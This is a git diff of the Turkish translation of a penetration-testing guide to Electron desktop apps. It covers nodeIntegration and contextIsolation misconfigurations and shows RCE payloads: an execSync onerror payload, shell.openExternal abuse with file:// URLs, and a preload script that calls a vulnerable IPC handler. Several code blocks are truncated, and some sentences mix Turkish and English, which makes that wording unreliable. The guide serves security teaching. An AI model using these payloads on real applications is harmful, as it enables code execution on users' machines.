--- a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md +++ b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md @@ -4,14 +4,14 @@ ## Giriş -Electron, yerel bir backend (**NodeJS** ile) ve bir frontend (**Chromium**) birleştirir; ancak modern tarayıcıların bazı güvenlik mekanizmalarından yoksundur. +Electron, yerel bir backend (**NodeJS**) ve bir frontend (**Chromium**) içerir; ancak modern tarayıcıların bazı güvenlik mekanizmalarından yoksundur. -Genellikle Electron uygulama kodunu bir `.asar` uygulamasının içinde bulursunuz; koda erişmek için bunu çıkarmanız gerekir: +Genellikle Electron uygulama kodunu bir `.asar` arşivinin içinde bulabilirsiniz; koda ulaşmak için bunu çıkarmanız gerekir: ```bash npx asar extract app.asar destfolder #Extract everything npx asar extract-file app.asar main.js #Extract just a file ``` -Bir Electron uygulamasının kaynak kodunda, `packet.json` içinde güvenlik yapılandırmalarının ayarlandığı `main.js` dosyasını bulabilirsiniz. +Bir Electron uygulamasının kaynak kodunda, `packet.json` içinde güvenlik yapılandırmalarının ayarlandığı `main.js` dosyasının belirtildiğini görebilirsiniz. ```json { "name": "standard-notes", @@ -19,12 +19,12 @@ Bir Electron uygulamasının kaynak kodunda, `packet.json` içinde güvenlik yap ``` Electron'un 2 işlem türü vardır: -- Main Process (NodeJS'e tam erişimi vardır) -- Renderer Process (güvenlik nedeniyle NodeJS erişimi kısıtlanmış olmalıdır) +- Ana İşlem (NodeJS'e tam erişimi vardır) +- Renderer İşlemi (güvenlik nedeniyle NodeJS erişimi kısıtlanmalıdır) ![](<../../../images/image (182).png>) -Bir **renderer process**, bir dosyayı yükleyen bir tarayıcı penceresi olacaktır: +Bir **renderer işlemi**, bir dosyayı yükleyen bir tarayıcı penceresi olacaktır: ```javascript const { BrowserWindow } = require("electron") let win = new BrowserWindow() @@ -32,18 +32,18 @@ let win = new BrowserWindow() //Open Renderer Process win.loadURL(`file://path/to/index.html`) ``` -Ayarlar, **renderer işlemi** için **main işlemi** içinde yer alan main.js dosyasında **yapılandırılabilir**. Bu yapılandırmalardan bazıları, **Electron uygulamasının RCE veya diğer zafiyetler kazanmasını önler** eğer **ayarlar doğru yapılandırılmışsa**. +Settings of the **renderer process** can be **configured** in the **main process** inside the main.js file. Some of the configurations will **prevent the Electron application to get RCE** or other vulnerabilities if the **settings are correctly configured**. -Electron uygulaması, önlenebilse de Node API'leri aracılığıyla **cihaza erişebilir**: +Electron uygulamasının Node API'leri aracılığıyla cihaza erişimi olabilir; ancak bu erişim engellenebilir: -- **`nodeIntegration`** - varsayılan olarak `off`'tur. Açık ise, renderer işleminden node özelliklerine erişime izin verir. -- **`contextIsolation`** - varsayılan olarak `on`'dur. Eğer `off` ise, main ve renderer işlemleri izole değildir. -- **`preload`** - varsayılan olarak boş. -- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - varsayılan olarak kapalıdır. NodeJS'in gerçekleştirebileceği eylemleri kısıtlayacaktır. -- Workers'ta Node Integration +- **`nodeIntegration`** - varsayılan olarak `off`'tur. Açık ise, renderer process'ten Node özelliklerine erişime izin verir. +- **`contextIsolation`** - varsayılan olarak `on`'dur. `off` ise main ve renderer process'ler izole değildir. +- **`preload`** - varsayılan olarak boştur. +- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - varsayılan olarak kapalıdır. Bu, NodeJS'in gerçekleştirebileceği eylemleri kısıtlayacaktır. +- Workers içinde Node Integration - **`nodeIntegrationInSubframes`** - varsayılan olarak `off`'tur. -- Eğer **`nodeIntegration`** **etkinse**, bu Electron uygulaması içindeki iframe'lere **yüklenen** web sayfalarında **Node.js API'lerinin** kullanılmasına izin verir. -- Eğer **`nodeIntegration`** **devre dışıysa**, preload'lar iframe içinde yüklenecektir +- Eğer **`nodeIntegration`** **etkinse**, bu Electron uygulaması içinde iframe'lerde yüklenen web sayfalarında **Node.js APIs** kullanımına izin verir. +- Eğer **`nodeIntegration`** **devre dışıysa**, preloads iframe içinde yüklenecektir. Example of configuration: ```javascript @@ -71,7 +71,7 @@ spellcheck: true, }, } ``` -Bazı **RCE payloads** şu adreste: [here](https://7as.es/electron/nodeIntegration_rce.txt): +Bazı **RCE payloads** from [here](https://7as.es/electron/nodeIntegration_rce.txt): ```html Example Payloads (Windows): src="x" onerror="alert(require('child_process').execSync('uname -a').toString());" /> ``` -### Trafiği yakalama +### Trafik yakalama start-main yapılandırmasını değiştirin ve şu gibi bir proxy kullanımını ekleyin: ```javascript @@ -103,7 +103,7 @@ start-main yapılandırmasını değiştirin ve şu gibi bir proxy kullanımın ``` ## Electron Local Code Injection -Eğer yerel olarak bir Electron App çalıştırabiliyorsanız, arbitrary javascript code çalıştırmasını sağlayabilirsiniz. Nasıl olduğunu şurada kontrol edin: +Eğer yerel olarak bir Electron App çalıştırabiliyorsanız, rastgele javascript kodu çalıştırmasını sağlayabilirsiniz. Nasıl olduğunu şu kaynakta kontrol edin: {{#ref}} ../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md @@ -111,7 +111,7 @@ Eğer yerel olarak bir Electron App çalıştırabiliyorsanız, arbitrary javasc ## RCE: XSS + nodeIntegration -Eğer **nodeIntegration** **on** olarak ayarlanmışsa, bir web sayfasının JavaScript'i `require()` çağırarak kolayca Node.js özelliklerini kullanabilir. Örneğin, Windows'ta calc uygulamasını çalıştırma yolu şudur: +Eğer **nodeIntegration** **on** olarak ayarlanmışsa, bir web sayfasının JavaScript'i `require()` çağrısı yaparak Node.js özelliklerini kolayca kullanabilir. Örneğin, Windows'ta calc uygulamasını çalıştırma yolu şudur: ```html ``` -> [!NOTE] > **Eğer `contextIsolation` etkinse, bu çalışmaz** +> [!NOTE] > **Eğer `contextIsolation` açık ise, bu çalışmaz** ## RCE: XSS + contextIsolation -_**contextIsolation**_ web sayfası scriptleri ile Electron'un dahili JavaScript kodu arasında ayrı çalışma bağlamları (contexts) oluşturur; böylece her bir kodun JavaScript yürütmesi birbirini etkilemez. Bu, RCE ihtimalini ortadan kaldırmak için gerekli bir özelliktir. +The _**contextIsolation**_ web sayfası scriptleri ile Electron'un dahili JavaScript kodu arasında ayrılmış bağlamlar oluşturur; böylece her bir kodun JavaScript yürütmesi birbirini etkilemez. Bu, RCE olasılığını ortadan kaldırmak için gerekli bir özelliktir. -Eğer bağlamlar izole değilse bir saldırgan şunları yapabilir: +If the contexts aren't isolated an attacker can: -1. Execute **arbitrary JavaScript in renderer** (XSS veya harici sitelere yönlendirme) -2. Preload veya Electron'un dahili kodunda kullanılan **Overwrite the built-in method**'u değiştirip kendi fonksiyonunu koymak -3. **Trigger** ile **overwritten function** kullanımını tetiklemek +1. Renderer'da **keyfi JavaScript çalıştırmak** (XSS veya dış sitelere yönlendirme) +2. Preload veya Electron'un dahili kodunda kullanılan **yerleşik metodu üzerine yazarak** fonksiyonu ele geçirmek +3. **Tetiklemek** üzerine yazılmış **fonksiyonun** kullanılmasını 4. RCE? There are 2 places where built-int methods can be overwritten: In preload code or in Electron internal code: @@ -180,22 +180,22 @@ electron-contextisolation-rce-via-ipc.md ### Tıklama olayını atlatma -Eğer bir linke tıkladığınızda kısıtlamalar uygulanıyorsa, bunları normal sol tıklama yerine **orta tıklama yaparak** atlatabilirsiniz. +Bir bağlantıya tıkladığınızda kısıtlamalar uygulanıyorsa, normal sol tıklama yerine **orta tıklama yaparak** bunları atlayabilirsiniz. ```javascript window.addEventListener('click', (e) => { ``` -## RCE ile shell.openExternal +## RCE via shell.openExternal -Bu örnekler hakkında daha fazla bilgi için bakınız: [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) ve [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/) +Bu örnekler hakkında daha fazla bilgi için bakınız [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) ve [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/) -Bir Electron masaüstü uygulaması dağıtırken, `nodeIntegration` ve `contextIsolation` için doğru ayarların yapıldığından emin olmak hayati önem taşır. Bu ayarların etkin olması durumunda, preload script'lerini veya Electron'un native kodunu main process'ten hedef alan client-side remote code execution (RCE) büyük ölçüde engellenmiş olur. +Electron masaüstü uygulamasını dağıtırken `nodeIntegration` ve `contextIsolation` için doğru ayarları sağlamak çok önemlidir. Bu ayarların etkin olduğu durumda, main process'ten preload scriptlerine veya Electron'un native koduna yönelik **client-side remote code execution (RCE)**'nin etkin bir şekilde önlendiği kabul edilir. Kullanıcı linklerle etkileşime girdiğinde veya yeni pencereler açtığında, uygulamanın güvenliği ve işlevselliği için kritik olan belirli event listener'lar tetiklenir: ```javascript webContents.on("new-window", function (event, url, disposition, options) {} webContents.on("will-navigate", function (event, url) {} ``` -Bu dinleyiciler, uygulamanın kendi **iş mantığını** uygulamak amacıyla masaüstü uygulama tarafından **geçersiz kılınır**. Uygulama, gezilen bir bağlantının dahili olarak mı yoksa harici bir web tarayıcısında mı açılması gerektiğini değerlendirir. Bu karar genellikle `openInternally` adlı bir fonksiyon aracılığıyla verilir. Bu fonksiyon `false` dönerse, bağlantının `shell.openExternal` fonksiyonunu kullanarak harici olarak açılması gerektiğini gösterir. +Bu dinleyiciler, masaüstü uygulaması tarafından kendi **iş mantığını** uygulamak için **geçersiz kılınır**. Uygulama, erişilen bağlantının dahili olarak mı yoksa harici bir web tarayıcısında mı açılması gerektiğini değerlendirir. Bu karar genellikle `openInternally` adlı bir fonksiyon aracılığıyla verilir. Bu fonksiyon `false` dönerse, bağlantının `shell.openExternal` işlevi kullanılarak harici olarak açılması gerektiğini gösterir. **Here is a simplified pseudocode:** @@ -203,9 +203,9 @@ Bu dinleyiciler, uygulamanın kendi **iş mantığını** uygulamak amacıyla ma ![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](<../../../images/image (963).png>) -Electron JS güvenlik en iyi uygulamaları, `openExternal` fonksiyonu ile güvensiz içeriğin kabul edilmemesini önerir; çünkü bu, çeşitli protokoller aracılığıyla RCE'ye yol açabilir. İşletim sistemleri, RCE tetikleyebilecek farklı protokolleri destekler. Bu konuyla ilgili ayrıntılı örnekler ve daha fazla açıklama için [this resource](https://positive.security/blog/url-open-rce#windows-10-19042) kaynağına bakılabilir; kaynak, bu güvenlik açığını kullanabilecek Windows protokol örneklerini içerir. +Electron JS security best practices advise against accepting untrusted content with the `openExternal` function, as it could lead to RCE through various protocols. Operating systems support different protocols that might trigger RCE. For detailed examples and further explanation on this topic, one can refer to [this resource](https://positive.security/blog/url-open-rce#windows-10-19042), which includes Windows protocol examples capable of exploiting this vulnerability. -macos'ta, `openExternal` fonksiyonu `shell.openExternal('file:///System/Applications/Calculator.app')` örneğinde olduğu gibi rastgele komutları çalıştırmak için kötüye kullanılabilir. +In macos, the `openExternal` function can be exploited to execute arbitrary commands like in `shell.openExternal('file:///System/Applications/Calculator.app')`. **Examples of Windows protocol exploits include:** ```html @@ -229,15 +229,15 @@ window.open( ``` ## RCE: webviewTag + vulnerable preload IPC + shell.openExternal -Bu vuln **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)** içinde bulunabilir. +Bu zafiyet **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)** içinde bulunabilir. -**webviewTag**, **NodeJS**'in **renderer process** içinde kullanılmasına izin veren **kullanımdan kaldırılmış bir özellik** olup, preload context içine aşağıdaki gibi bir script yüklenmesine izin verdiği için devre dışı bırakılmalıdır: +The **webviewTag** is a **kullanımdan kaldırılmış özellik** that allows the use of **NodeJS** in the **renderer process**, which should be disabled as it allows to load a script inside the **preload** context şöyle: ```xml ``` -Bu nedenle, rastgele bir sayfa yüklemeyi başaran bir saldırgan, o etiketi **load an arbitrary preload script** yüklemek için kullanabilirdi. +Bu nedenle, rastgele bir sayfa yüklemeyi başaran bir saldırgan bu etiketi kullanarak **rastgele bir preload script yükleyebilirdi**. -Bu preload script daha sonra **vulnerable IPC service (`skype-new-window`)** çağırmak için kötüye kullanıldı; bu servis RCE elde etmek için **`shell.openExternal`** çağırıyordu: +Bu preload script daha sonra **vulnerable IPC service (`skype-new-window`)**'ı çağırmak için kötüye kullanıldı; bu servis RCE elde etmek için **`shell.openExternal`**'ı çağırıyordu: ```javascript (async() => { const { ipcRenderer } = require("electron"); @@ -248,13 +248,13 @@ await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Do }, 5000); })(); ``` -## İç Dosyaları Okuma: XSS + contextIsolation +## İç Dosyaların Okunması: XSS + contextIsolation -**`contextIsolation`'ı devre dışı bırakmak, yerel dosyaları okumak ve exfiltrating için `` etiketlerinin `